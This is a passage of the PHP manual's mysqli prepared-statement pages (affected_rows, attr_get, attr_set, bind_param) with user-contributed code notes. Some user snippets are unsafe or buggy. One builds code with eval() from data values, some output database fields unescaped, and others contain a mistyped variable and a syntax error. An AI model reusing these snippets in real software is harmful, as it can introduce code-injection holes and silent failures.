            $pass = $config["password"];
            $bd = $config["bd"];

                         //Connection between a database and php
            $this->mysql = new mysqli($ip, $user, $pass, $bd);
        }
    }

    function setResultQuery($query, $param)
    {
        $array = NULL;
        if(!$this->mysql->connect_errno)
        {
            $stmt = $this->setStatement($query, $param);
            try
            {
                if($stmt != NULL)
                {
                    if($stmt->execute())
                    {
                        //Obtener resultados
                        $stmt->store_result();
                        $variables = array();
                        $data = array();
                        $meta = $stmt->result_metadata();
                        while($field = $meta->fetch_field())
                        {
                            $variables[] = &$data[$field->name];
                        }
                        call_user_func_array(array($stmt, 'bind_result'), $variables);
                        $i=0;
                        while($stmt->fetch())
                        {
                                $array[$i] = array();
                                foreach($data as $k=>$v)
                                $array[$i][$k] = $v;
                                $i++;
                        }
                        $stmt->close();
                    }
                }
            }catch(Exception $e){
                $array = FALSE;
            }
        }
        return $array;
    }

    function setStatement($query, $param)
    {
        try
        {
            $stmt = $this->mysql->prepare($query);
            $ref = new ReflectionClass('mysqli_stmt');
            if(count($param) != 0)
            {

                $method = $ref->getMethod('bind_param');
                $method->invokeArgs($stmt, $param);
            }
        }catch(Exception $e){
            if($stmt != null)
            {
                $stmt->close();
            }
        }
        return $stmt;
    }

    function setNoResultQuery($query, $param)
    {
        $validation = FALSE;
        if(!$this->mysql->connect_errno)
        {
            try
            {
                $stmt = $this->setStatement($query, $param);
                if($stmt != null)
                {
                    if($stmt->execute())
                    {
                        $stmt->close();
                        $validacion = TRUE;
                    }
                }
            }catch(Exception $e){
                $validation = FALSE;
            }
        }
        return $validation;
    }

    function __destruct()
    {
        $this->mysql->close();
    }
}
?>
krapfi at gmail dot com 20-May-2008 03:35
The prototype of the mysqli_stmt constructor is mysqli_stmt::__construct(mysqli $link, $query);

To extend mysqli_stmt, do

class myStmt extends mysqli_stmt {
  public function __construct($link, $query) {
    parent::__construct($link, $query);
  }
}

class myI extends mysqli {
  public function prepare($query) {
    return new myStmt($this, $query);
  }
}

http://blog.myhat.de/2007/06/26/pdo-and-extending-mysqli/ has further infos including how to extend mysqli_result


Returns the total number of rows changed, deleted, or inserted by the last executed statement

  • « mysqli_stmt
  • mysqli_stmt::attr_get »
  • PHP Manual
  • mysqli_stmt
  • Returns the total number of rows changed, deleted, or inserted by the last executed statement

mysqli_stmt::$affected_rows

mysqli_stmt_affected_rows

(PHP 5)

mysqli_stmt::$affected_rows -- mysqli_stmt_affected_rows — Returns the total number of rows changed, deleted, or inserted by the last executed statement

Description

Object oriented style

int $mysqli_stmt->affected_rows;

Procedural style

int mysqli_stmt_affected_rows ( mysqli_stmt $stmt )

Returns the number of rows affected by INSERT, UPDATE, or DELETE query.

This function only works with queries which update a table. In order to get the number of rows from a SELECT query, use mysqli_stmt_num_rows() instead.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

Return Values

An integer greater than zero indicates the number of rows affected or retrieved. Zero indicates that no records where updated for an UPDATE/DELETE statement, no rows matched the WHERE clause in the query or that no query has yet been executed. -1 indicates that the query has returned an error. NULL indicates an invalid argument was supplied to the function.

Note:

If the number of affected rows is greater than maximal PHP int value, the number of affected rows will be returned as a string value.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* create temp table */
$mysqli->query("CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
if ($stmt = $mysqli->prepare($query)) {

    /* Bind variable for placeholder */
    $code = 'A%';
    $stmt->bind_param("s", $code);

    /* execute statement */
    $stmt->execute();

    printf("rows inserted: %d\n", $stmt->affected_rows);

    /* close statement */
    $stmt->close();
}

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

/* create temp table */
mysqli_query($link, "CREATE TEMPORARY TABLE myCountry LIKE Country");

$query = "INSERT INTO myCountry SELECT * FROM Country WHERE Code LIKE ?";

/* prepare statement */
if ($stmt = mysqli_prepare($link, $query)) {

    /* Bind variable for placeholder */
    $code = 'A%';
    mysqli_stmt_bind_param($stmt, "s", $code);

    /* execute statement */
    mysqli_stmt_execute($stmt);

    printf("rows inserted: %d\n", mysqli_stmt_affected_rows($stmt));

    /* close statement */
    mysqli_stmt_close($stmt);
}

/* close connection */
mysqli_close($link);
?>

The above examples will output:

rows inserted: 17

See Also

  • mysqli_stmt_num_rows() - Return the number of rows in statements result set
  • mysqli_prepare() - Prepare an SQL statement for execution

User Contributed Notes

Chuck 29-Apr-2007 07:51
I'm not sure whether or not this is the intended behavior, but I noticed through testing that if you were to use transactions and prepared statements together and you added a single record to a database using a prepared statement, but later rolled it back, mysqli_stmt_affected_rows will still return 1.
Carl Olsen 27-Dec-2005 07:34
It appears that an UPDATE prepared statement which contains the same data as that already in the database returns 0 for affected_rows.  I was expecting it to return 1, but it must be comparing the input values with the existing values and determining that no UPDATE has occurred.


Used to get the current value of a statement attribute

  • « mysqli_stmt::$affected_rows
  • mysqli_stmt::attr_set »
  • PHP Manual
  • mysqli_stmt
  • Used to get the current value of a statement attribute

mysqli_stmt::attr_get

mysqli_stmt_attr_get

(PHP 5)

mysqli_stmt::attr_get -- mysqli_stmt_attr_get — Used to get the current value of a statement attribute

Description

Object oriented style

int mysqli_stmt::attr_get ( int $attr )

Procedural style

int mysqli_stmt_attr_get ( mysqli_stmt $stmt , int $attr )

Gets the current value of a statement attribute.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

attr

The attribute that you want to get.

Return Values

Returns FALSE if the attribute is not found, otherwise returns the value of the attribute.

User Contributed Notes

There are no user contributed notes for this page.


Used to modify the behavior of a prepared statement

  • « mysqli_stmt::attr_get
  • mysqli_stmt::bind_param »
  • PHP Manual
  • mysqli_stmt
  • Used to modify the behavior of a prepared statement

mysqli_stmt::attr_set

mysqli_stmt_attr_set

(PHP 5)

mysqli_stmt::attr_set -- mysqli_stmt_attr_set — Used to modify the behavior of a prepared statement

Description

Object oriented style

bool mysqli_stmt::attr_set ( int $attr , int $mode )

Procedural style

bool mysqli_stmt_attr_set ( mysqli_stmt $stmt , int $attr , int $mode )

Used to modify the behavior of a prepared statement. This function may be called multiple times to set several attributes.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

attr

The attribute that you want to set. It can have one of the following values:

Attribute values
Character | Description
MYSQLI_STMT_ATTR_UPDATE_MAX_LENGTH | Setting to TRUE causes mysqli_stmt_store_result() to update the metadata MYSQL_FIELD->max_length value.
MYSQLI_STMT_ATTR_CURSOR_TYPE | Type of cursor to open for statement when mysqli_stmt_execute() is invoked. mode can be MYSQLI_CURSOR_TYPE_NO_CURSOR (the default) or MYSQLI_CURSOR_TYPE_READ_ONLY.
MYSQLI_STMT_ATTR_PREFETCH_ROWS | Number of rows to fetch from server at a time when using a cursor. mode can be in the range from 1 to the maximum value of unsigned long. The default is 1.

If you use the MYSQLI_STMT_ATTR_CURSOR_TYPE option with MYSQLI_CURSOR_TYPE_READ_ONLY, a cursor is opened for the statement when you invoke mysqli_stmt_execute(). If there is already an open cursor from a previous mysqli_stmt_execute() call, it closes the cursor before opening a new one. mysqli_stmt_reset() also closes any open cursor before preparing the statement for re-execution. mysqli_stmt_free_result() closes any open cursor.

If you open a cursor for a prepared statement, mysqli_stmt_store_result() is unnecessary.

mode

The value to assign to the attribute.

See Also

  • » Connector/MySQL mysql_stmt_attr_set()

User Contributed Notes

chad 0x40 digitellinc 0x2e com 30-Apr-2008 05:20
This is basically a wrapper for mysql_stmt_attr_set in the MySQL C API: http://dev.mysql.com/doc/refman/5.0/en/mysql-stmt-attr-set.html


Binds variables to a prepared statement as parameters

  • « mysqli_stmt::attr_set
  • mysqli_stmt::bind_result »
  • PHP Manual
  • mysqli_stmt
  • Binds variables to a prepared statement as parameters

mysqli_stmt::bind_param

mysqli_stmt_bind_param

(PHP 5)

mysqli_stmt::bind_param -- mysqli_stmt_bind_param — Binds variables to a prepared statement as parameters

Description

Object oriented style

bool mysqli_stmt::bind_param ( string $types , mixed &$var1 [, mixed &$... ] )

Procedural style

bool mysqli_stmt_bind_param ( mysqli_stmt $stmt , string $types , mixed &$var1 [, mixed &$... ] )

Bind variables for the parameter markers in the SQL statement that was passed to mysqli_prepare().

Note:

If data size of a variable exceeds max. allowed packet size (max_allowed_packet), you have to specify b in types and use mysqli_stmt_send_long_data() to send the data in packets.

Note:

Care must be taken when using mysqli_stmt_bind_param() in conjunction with call_user_func_array(). Note that mysqli_stmt_bind_param() requires parameters to be passed by reference, whereas call_user_func_array() can accept as a parameter a list of variables that can represent references or values.

Parameters

stmt

Procedural style only: A statement identifier returned by mysqli_stmt_init().

types

A string that contains one or more characters which specify the types for the corresponding bind variables:

Type specification chars
Character | Description
i | corresponding variable has type integer
d | corresponding variable has type double
s | corresponding variable has type string
b | corresponding variable is a blob and will be sent in packets

var1

The number of variables and length of string types must match the parameters in the statement.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Object oriented style

<?php
$mysqli = new mysqli('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (mysqli_connect_errno()) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = $mysqli->prepare("INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
$stmt->bind_param('sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* execute prepared statement */
$stmt->execute();

printf("%d Row inserted.\n", $stmt->affected_rows);

/* close statement and connection */
$stmt->close();

/* Clean up table CountryLanguage */
$mysqli->query("DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", $mysqli->affected_rows);

/* close connection */
$mysqli->close();
?>

Example #2 Procedural style

<?php
$link = mysqli_connect('localhost', 'my_user', 'my_password', 'world');

/* check connection */
if (!$link) {
    printf("Connect failed: %s\n", mysqli_connect_error());
    exit();
}

$stmt = mysqli_prepare($link, "INSERT INTO CountryLanguage VALUES (?, ?, ?, ?)");
mysqli_stmt_bind_param($stmt, 'sssd', $code, $language, $official, $percent);

$code = 'DEU';
$language = 'Bavarian';
$official = "F";
$percent = 11.2;

/* execute prepared statement */
mysqli_stmt_execute($stmt);

printf("%d Row inserted.\n", mysqli_stmt_affected_rows($stmt));

/* close statement and connection */
mysqli_stmt_close($stmt);

/* Clean up table CountryLanguage */
mysqli_query($link, "DELETE FROM CountryLanguage WHERE Language='Bavarian'");
printf("%d Row deleted.\n", mysqli_affected_rows($link));

/* close connection */
mysqli_close($link);
?>

The above examples will output:

1 Row inserted.
1 Row deleted.

See Also

  • mysqli_stmt_bind_result() - Binds variables to a prepared statement for result storage
  • mysqli_stmt_execute() - Executes a prepared Query
  • mysqli_stmt_fetch() - Fetch results from a prepared statement into the bound variables
  • mysqli_prepare() - Prepare an SQL statement for execution
  • mysqli_stmt_send_long_data() - Send data in blocks
  • mysqli_stmt_errno() - Returns the error code for the most recent statement call
  • mysqli_stmt_error() - Returns a string description for last statement error

User Contributed Notes

jmdoren at ok dot cl 15-May-2014 03:36
I just wrote a function to bind a variable number of parameters

function bind_param_array( $stmt,  $types,  $vars ){
/* ------------------------------------------------------------------------ */
    $php_command = '$stmt->bind_param( $types';
    for( $i=0;$i<count($vars);$i++)
    {
        $php_command .= ',$vars['.$i.']';
    }
    $php_command .= ');';
    return eval( $php_command );
}

yo can use it like this

$params = array( "one", "two", "two again" );
$types      =  str_repeat( 's', count( $params );
$stmt        =  $MysqliObject->prepare( $query );
bind_param_array( $stmt, $types,$params);

enjoy it!
tomasz at marcinkowski dot pl 28-Mar-2014 12:46
When trying to bind a string param you get a "Number of variables doesn't match number of parameters in prepared statement" error, make sure you're not wrapping the question mark with quotes.

By mistake I had a query like:
SELECT something FROM table WHERE param_name = "?"

Binding it with <?php $stmt->bind('s', $param_value); ?> had been failing on me. All I had to do was to remove quotes around "?".
Hope this saves someone's time.
markac 06-Mar-2014 12:09
Sprintf parameter binding style:

<?php

  class MySqliDecorator {
    private $db;
    private $map = array(
      '%d' => 'i', //integer
      '%f' => 'd', //float
      '%s' => 's', //string
    );

    public function __construct(mysqli $db) {
      $this->db = $db;
    }

    public function prepare($query, &$params = array()) {
      $expr = '/(' . implode('|', array_keys($this->map)) . ')/';

      if (preg_match_all($expr, $query, $matches)) {
        $types = implode('', $matches[0]);
        $types = strtr($types, $this->map);

        $query = preg_replace($expr, '?', $query);

        if ($stmt = $this->db->prepare($query)) {
          array_unshift($params, $types);

          if (call_user_func_array(array($stmt, 'bind_param'), &$params)) {
             return $stmt;
          } else {
             return false;
          }

        } else {
          return false;
        }

      } else {
        return $this->db->prepare($query);
      }
    }

  }
?>

Using:

<?php
  $db = new mysqli(DB_HOST, DB_USER, DB_PASS, DB_NAME);
  $stmt = new MySqliDecorator($db);

  $params = array(1, 'johny');
  $stmt = $stmt->prepare('SELECT * FROM users WHERE Id = %d OR Username = %s', $params);
  $stmt->execute();
?>

Be careful when using % with LIKE and so on.
Boyet 23-Oct-2013 09:56
I think this is a good way to automatically get the types for the binding in as few lines of code as possible. If you bind the array values in the same order as when you used it for this you should not worry about aligning them.

foreach($array as $var){
    $chrType = substr((string)gettype($var),0,1);
    $strType .= (!in_array($chrType,array("i","d","s"))) ? "b" : $chrType;
}
laurence dot mackenzie at stream dot com 09-Oct-2013 06:08
I just came across a very strange behaviour when using bind_param() with a reflection class.  I figured I ought to post it here to save anyone else who comes across it from banging their head against their desk for an hour (as I just did).

First, some background:  I have a set of classes,  one per file format (i.e. CSV, HTML table, etc), which import data from flat files to a temporary table in my database.  The class then transforms the data to 3NF.

I'm  using a reflection class to pass an array to mysqli->bind_param() because the column counts and types are variable.  The code (simplified) I am having issues with is:

<?php

/* Code that loops through the rows and columns in the
 * flat file and appends the MySQLi 'type' letter to the
 * $typeString variable and appends the actual value
 * to the $data array.  I left the code out because it's
 * (probably) not relevant and would bloat the post.
 */
$stmtInsert = $db->prepare('INSERT.....');
$typeString = 'ississis';
$data = array(1, 'two', 'three', 4, 'five', 'six', 7, 'eight');

/* Here's where the actual strangeness starts happening
 */

// Merge the parameter types with the parameter values
$data = array_merge((array) $typeString, $data);

// Create the reflection class
$ref = new \ReflectionClass('mysqli_stmt');

// Get the bind_param  method
$method = $ref->getMethod('bind_param');

// Invoke it with $data
$method->invokeArgs($stmtInsert, $data);

// Execute the statement
$stmtInsert->execute();

}
?>

Oddly, in one (and only one) case it started throwing "Warning: Parameter 41 to mysqli_stmt::bind_param() expected to be a reference, value given".  The reflection class throws an exception.  Other import sets using this code work just fine.  Parameter 41 is the last parameter.   Changing the affected code as follows resolves the issue:

<?php

$ref = new \ReflectionClass("mysqli_stmt");
$method = $ref->getMethod("bind_param");
$data[count($data)-1] = (string) $data[count($data)-1];
$method->invokeArgs($stmtInsert, $data);
$stmtInsert->execute();

?>

Not sure what's going on here, but like I said, hopefully this will keep the next person from thinking they're totally insane.
mike chip 13-Mar-2013 11:45
I had to do a more advanced prepare function (A multi-multi values prepared statement)to make things easier for a few situations, so I wrote the following function.

NOTE: This function assumes you have put it into a class that have:
$mysqli = A mysqli object

NOTE2: This function currently only supports ints for the values, but you can modify it to support additional types...

To use it:
<?php
$sql = "SELECT id, code FROM country";
$result = $database->fetch_all($sql); // This is just a custom fetch_all function...

if(!$result) {
    return null; // no results...
}

// Re-organize the order of the elements from the resultset, code first then id, just like the sql statement...
$pData = array();
foreach($result as $row) {
    $pData[] = array('code'=>$row['code'] + 1,'id'=>$row['id']); //Assign valid php variable names, because this'll be used later on!!!
}

$database->mysqli_prepare_exec("UPDATE country SET code=? WHERE id=?", 'ii', $pData);
?>

Here's the function:

<?php
public function mysqli_prepare_exec($sql, $types, $data)
{
    $stm = $this->mysqli->prepare($sql);

    if(!$stm) {
        return null; // Statement couldn't be prepared, check for errors...
    }

    foreach($data[0] as $k => $v) {
        eval('$' . $k . '=' . $v . ';');
        eval('$vars[\'' . $k . '\'] = &$' . $k . ';'); // Referencing to our last newly created variable
    }
    unset($k,$v);

    call_user_func_array(array($stm, 'bind_param'), array_merge(array($types), $vars));

    foreach($data as $row) {
        foreach($row as $k => $v) {
            eval('$' . $k . '=' . $v . ';');
        }
        $stm->execute();
    }
}
?>
Ray.Paseur uses Gmail 04-Mar-2013 02:24
It may seem obvious, but it's worth noting that variables must exist before you can bind them. This example worked well for me (line 12).

<?php
$test_names_arrays = array
( array( "fname" => "Walter" , "lname" => "Williams" )
, array( "fname" => "Ray"    , "lname" => "Paseur"   )
, array( "fname" => "Bill"   , "lname" => "O'Reilly" )
)
;
$sql = "INSERT INTO my_table ( fname, lname ) VALUES ( ?,? )";
$ins = $mysqli->prepare($sql);

// NB: THESE VARIABLES MUST EXIST BEFORE THEY CAN BE BOUND!
$person = current($test_names_arrays);

$ins->bind_param('ss', $person['fname'], $person['lname']);
foreach ($test_names_arrays as $person)
{
    $ins->execute();
}
?>
Guido 16-Oct-2012 04:43
Dear all,

I was searching for a class which supports multiple calls to bind_param, because I have scenarios where I build huge SQL statements over different functions with variable numbers of parameters. But I didn't found one. So I have just written up this little piece of code I would like to share with you. There is enough room to optimize these classes, but it shows the general idea. And for me it works. In mbind_param_do() it seems to depend from the PHP version if makeValuesReferenced() must be used or if $params can be used directly. In my case I have to use it.

The cool thing about this solution: You don't have to care about a lot if you are using my mbind_ functions or not. You may also use default bind_param and the execute will still work.

<?php

class db extends mysqli {
    public function prepare($query) {
        return new stmt($this,$query);
    }
}

class stmt extends mysqli_stmt {
    public function __construct($link, $query) {
        $this->mbind_reset();
        parent::__construct($link, $query);
    }

    public function mbind_reset() {
        unset($this->mbind_params);
        unset($this->mbind_types);
        $this->mbind_params = array();
        $this->mbind_types = array();
    }

    //use this one to bind params by reference
    public function mbind_param($type, &$param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = &$param;
    }

    //use this one to bin value directly, can be mixed with mbind_param()
    public function mbind_value($type, $param) {
        $this->mbind_types[0].= $type;
        $this->mbind_params[] = $param;
    }

    public function mbind_param_do() {
        $params = array_merge($this->mbind_types, $this->mbind_params);
        return call_user_func_array(array($this, 'bind_param'), $this->makeValuesReferenced($params));
    }

    private function makeValuesReferenced($arr){
        $refs = array();
        foreach($arr as $key => $value)
        $refs[$key] = &$arr[$key];
        return $refs;

    }

    public function execute() {
        if(count($this->mbind_params))
            $this->mbind_param_do();

        return parent::execute();
    }

    private $mbind_types = array();
    private $mbind_params = array();
}

$search1 = "test1";
$search2 = "test2";

$_db = new db("host","user","pass","database");
$query = "SELECT name FROM table WHERE col1=? AND col2=?";
$stmt = $_db->prepare($query);

$stmt->mbind_param('s',$search1);
//this second call is the cool thing!!!
$stmt->mbind_param('s',$search2);

$stmt->execute();

//this would still work!
//$search1 = "test1changed";
//$search2 = "test2changed";
//$stmt->execute();

...

$stmt->store_result();
$stmt->bind_result(...);
$stmt->fetch();
?>
xianrenb at gmail dot com 30-Sep-2012 03:52
It is believed that if one has specified 'b' in $types, the corresponding variable should be set to null, and one has to use mysqli_stmt::send_long_data() or mysqli_stmt_send_long_data() to send the blob, otherwise the blob value would be treated as empty.
ellert at _spam_ vankoperen _spam_ dot nl 29-Aug-2012 06:43
Dont forget that in the query that you are preparing you do NOT need quotes around string values.
If you put them there anyway, you will get:
mysqli_stmt_bind_param(): Number of variables doesn't match number of parameters in prepared statement
nick9v at hotmail dot com 30-Jun-2012 07:12
When dealing with a dynamic number of field values while preparing a statement I find this class useful.

<?php
class BindParam{
    private $values = array(), $types = '';

    public function add( $type, &$value ){
        $this->values[] = $value;
        $this->types .= $type;
    }

    public function get(){
        return array_merge(array($this->types), $this->values);
    }
}
?>

Usage is pretty simple. Create an instance and use the add method to populate. When you're ready to execute simply use the get method.

<?php
$bindParam = new BindParam();
$qArray = array();

$use_part_1 = 1;
$use_part_2 = 1;
$use_part_3 = 1;

$query = 'SELECT * FROM users WHERE ';
if($use_part_1){
    $qArray[] = 'hair_color = ?';
    $bindParam->add('s', 'red');
}
if($use_part_2){
    $qArray[] = 'age = ?';
    $bindParam->add('i', 25);
}
if($use_part_3){
    $qArray[] = 'balance = ?';
    $bindParam->add('d', 50.00);
}

$query .= implode(' OR ', $qArray);

//call_user_func_array( array($stm, 'bind_param'), $bindParam->get());

echo $query . '<br/>';
var_dump($bindParam->get());
?>

This gets you the result that looks something like this:

SELECT * FROM users WHERE hair_color = ? OR age = ? OR balance = ?
array(4) { [0]=> string(3) "sid" [1]=> string(3) "red" [2]=> int(25) [3]=> float(50) }

[Editor's note: changed BindParam::add() to accept $value by reference and thereby prevent a warning in newer versions of PHP.]
robstocki at battlesecure dot com 25-May-2012 07:22
Here is the procedural version of a select statement when wanting to use %LIKE% in the query and not an '=':
<?php
function db_connect(){
//    set $db as global for access outside function
    global $db;
    #    Use procedural methods for database connection and manipulation
//    Connect to Database
    @$db = mysqli_connect(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);

//    Check connection
    if(mysqli_connect_errno()) {
        echo '<br />Error: Could not connect to database.  Please try again later.<br />';
        exit;
    }

}

//    Connect to Database
    db_connect();

    $theRecordInTheTableIs = "%".$_POST['theRecordInTheTableIs']."%";    //    concat $_POST variable with % on each side for use in prepared statement
    $theRelatedRecordLooks = "%".$_POST['theRelatedRecordLooks']."%";    //    concat $_POST variable with % on each side for use in prepared statement

//    Create Query
    $q      =     '';        //    create variable for input
    $q     .=     " SELECT ";
    $q     .=     " * ";
    $q     .=     " FROM ";
    $q     .=     " myFavTable ";
    $q     .=     " WHERE ";
    $q    .=     " theRecordInTheTableIs LIKE ? ";
    $q    .=     " AND ";
    $q    .=     " theRelatedRecordLooks LIKE ? ";

//    Prepare the statement
    $stmt = mysqli_prepare($db, $q);

//    bind the paramaters
    mysqli_stmt_bind_param($stmt, 'ss', $theRecordInTheTableIs,$theRelatedRecordLooks);

//    Execute the query
    mysqli_stmt_execute($stmt);

// bind result variables
    mysqli_stmt_bind_result($stmt, $col0, $col1, $col2, $col3, $col4, $col5, $col6, $col7, $col8, $col9, $col10);

//    Display the query
//    start the table

echo '<table>
    <tr>
        <td>Col0 Title</td>
        <td>Col1 Title</td>
        <td>Col2 Title</td>
        <td>Col3 Title</td>
        <td>Col4 Title</td>
        <td>Col5 Title</td>
        <td>Col6 Title</td>
        <td>Col7 Title</td>
        <td>Col8 Title</td>
        <td>Col9 Title</td>
        <td>Col10 Title</td>
    </tr>';

// fetch values
    while (mysqli_stmt_fetch($stmt)) {
        echo "     <tr>
        <td>{$col0}</td>
        <td>{$col1}</td>
        <td>{$col2}</td>
        <td>{$col3}</td>
        <td>{$col4}</td>
        <td>{$col5}</td>
        <td>{$col6}</td>
        <td>{$col7}</td>
        <td>{$col8}</td>
        <td>{$col9}</td>
        <td>{$col10}</td>
    </tr> ";

    }

//    close the table
    echo '</table>';

?>
Darren 11-Jan-2012 01:00
For those learning mysqli::prepare and mysqli_stmt::bind_params for the first time, here is a commented block of code which executes prepared queries and returns data in a similar format to the return values of mysqli_query.  I tried to minimize unnecessary classes, objects, or overhead for two reasons:
1) facilitate learning
2) allow relativity interchangeable use with mysqli_query

My goal is to lower the learning curve for whoever is starting out with these family of functions.  I am by no means an expert coder/scripter, so I am sure there are improvements and perhaps a few bugs, but I hope not =)

<?php
/*
Function: mysqli_prepared_query()
  Executes prepared querys given query syntax, and bind parameters
  Returns data in array format

Arguments:
  mysqli_link
  mysqli_prepare query
  mysqli_stmt_bind_param argmuent list in the form array($typeDefinitinonString, $var1 [, mixed $... ])

Return values:
  When given SELECT, SHOW, DESCRIBE or EXPLAIN statements: returns table data in the form resultArray[row number][associated field name]
  Returns number of rows affacted when given other queries
  Returns FALSE on error
*/
function mysqli_prepared_query($link,$sql,$bindParams = FALSE){
  if($stmt = mysqli_prepare($link,$sql)){
    if ($bindParams){
      $bindParamsMethod = new ReflectionMethod('mysqli_stmt', 'bind_param');  //allows for call to mysqli_stmt->bind_param using variable argument list
      $bindParamsReferences = array();  //will act as arguments list for mysqli_stmt->bind_param

      $typeDefinitionString = array_shift($bindParams);
      foreach($bindParams as $key => $value){
        $bindParamsReferences[$key] = &$bindParams[$key];
      }

      array_unshift($bindParamsReferences,$typeDefinitionString); //returns typeDefinition as the first element of the string
      $bindParamsMethod->invokeArgs($stmt,$bindParamsReferences); //calls mysqli_stmt->bind_param suing $bindParamsRereferences as the argument list
    }
    if(mysqli_stmt_execute($stmt)){
      $resultMetaData = mysqli_stmt_result_metadata($stmt);
      if($resultMetaData){
        $stmtRow = array(); //this will be a result row returned from mysqli_stmt_fetch($stmt)
        $rowReferences = array();  //this will reference $stmtRow and be passed to mysqli_bind_results
        while ($field = mysqli_fetch_field($resultMetaData)) {
          $rowReferences[] = &$stmtRow[$field->name];
        }
        mysqli_free_result($resultMetaData);
        $bindResultMethod = new ReflectionMethod('mysqli_stmt', 'bind_result');
        $bindResultMethod->invokeArgs($stmt, $rowReferences); //calls mysqli_stmt_bind_result($stmt,[$rowReferences]) using object-oriented style
        $result = array();
        while(mysqli_stmt_fetch($stmt)){
          foreach($stmtRow as $key => $value){  //variables must be assigned by value, so $result[] = $stmtRow does not work (not really sure why, something with referencing in $stmtRow)
            $row[$key] = $value;
          }
          $result[] = $row;
        }
        mysqli_stmt_free_result($stmt);
      } else {
        $result = mysqli_stmt_affected_rows($stmt);
      }
      mysqli_stmt_close($stmt);
    } else {
      $result = FALSE;
    }
  } else {
    $result = FALSE;
  }
  return $result;
}

?>

Here's hoping the PHP gods don't smite me.
samishiikihaku23 at gmail dot com 31-Dec-2011 12:50
NOTES to new users! Or programmers like myself who learn the hard way!!!
Pay attention to the variables that are given in the function up above. ( string $types , mixed &$var1 [, mixed &$... ] ) . The example shows this too, but I personally didn't get it 'til trying to debug my code.

ITS REQUIRED TO PASS VARIABLES HERE. You can not pass straight data through here.

$stmt->bind('s','Something here'); Will error!!!

Just a clarification as to avoid another night like mine last night and this morning.
Ole Clausen 06-Nov-2011 08:50
A lot of newcommers to mysqli find it hard to get started. I have written this wrapper with object based response, that handles most of my queries. I hope it'll be usefull for others as well:

<?php
define('DB_HOST', 'localhost');
define('DB_USERNAME', '');
define('DB_PASSWORD', '');
define('DB_DEFAULT_DB', 'test');

function iQuery($sql, $arrParams, $arrBindNames=false) {
    $result = new stdClass();
    $mysqli = @new mysqli(DB_HOST, DB_USERNAME, DB_PASSWORD, DB_DEFAULT_DB);
    if (mysqli_connect_errno()) {
        $result->error = 'Connection failed: '.mysqli_connect_error();
        return $result;
    }
    if ($stmt = $mysqli->prepare($sql)) {
        $method = new ReflectionMethod('mysqli_stmt', 'bind_param');
        $method->invokeArgs($stmt, $arrParams);
        $stmt->execute();
        $meta = $stmt->result_metadata();
        if (!$meta) {
            $result->affected_rows = $stmt->affected_rows;
            $result->insert_id = $stmt->insert_id;
        } else {
            $stmt->store_result();
            $params = array();
            $row = array();
            if ($arrBindNames) {
                for ($i=0,$j=count($arrBindNames); $i<$j; $i++) {
                    $params[$i] = &$row[$arrBindNames[$i]];
                }
            } else {
                while ($field = $meta->fetch_field()) {
                    $params[] = &$row[$field->name];
                }
            }
            $meta->close();
            $method = new ReflectionMethod('mysqli_stmt', 'bind_result');
            $method->invokeArgs($stmt, $params);
            $result->rows = array();
            while ($stmt->fetch()) {
                $obj = new stdClass();
                foreach($row as $key => $val) {
                    $obj->{$key} = $val;
                }
                $result->rows[] = $obj;
            }
            $stmt->free_result();
        }
        $stmt->close();
    }
    $mysqli->close();
    return $result;
}

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams);

print_r($result);
print $result->rows[1]->first_name . " " . $result->rows[1]->last_name;
?>

If $_POST['sex'] contains 'male' and $_POST['active'] contains 'yes' - and the field names are 'id', 'first_name', 'last_name', 'sex' and 'active', the printet result may look like this:

----------------------------------------------
stdClass Object
(
    [rows] => Array
        (
            [0] => stdClass Object
                (
                    [id] => 2
                    [first_name] => Peter
                    [last_name] => Johnson
                    [sex] => male
                    [active] => yes
                )

            [1] => stdClass Object
                (
                    [id] => 5
                    [first_name] => Ole
                    [last_name] => Clausen
                    [sex] => male
                    [active] => yes
                )

        )

)
Ole Clausen
----------------------------------------------

You can also apply special field names to the response, if you use the parameter $arrBindNames:

$arrParams = array('ss', $_POST['sex'], $_POST['active']);
$arrNames = array('foo_id', 'bar_first', 'baz_last', 'foo_sex', 'bar_act');
$result = iQuery( 'SELECT * FROM `test_table` WHERE `sex`=? AND `active`=?', $arrParams, $arrNames);

- a row would then look like this:

    [0] => stdClass Object
        (
            [foo_id] => 2
            [bar_first] => Peter
            [baz_last] => Johnson
            [foo_sex] => male
            [bar_act] => yes
        )

The first argument 'ss' in $arrParams states, that the two following arguments are of type String. The options are 's' for String, 'i' for Integer, 'd' for Double and 'b' for Blob (sent in packages).

In queries, that do not return a result INSERT, UPDATE, etc. $result->affected_rows and $result->insert_id are available. Connection errors are available in $result->error. Additional error handling would be nice, but is not implemented for now. Play with the wrapper and use print_r on the result ... enjoy!

The name 'iQuery'? Well, it handles mysql*i* - and then I guess it's kind of a tribute to Mr. Jobs ... may he 'rest' in energetic, hungry foolishness  =)

==
UPDATE: 08-NOV-2011 07:19

Due to changes in PHP 5.3 I encountered a problem with 'bind_param' in my iQuery function below. The values in the passed array *must* be references. The soloution is this function:

<?php
function getRefArray($a) {
    if (strnatcmp(phpversion(),'5.3')>=0) {
        $ret = array();
        foreach($a as $key => $val) {
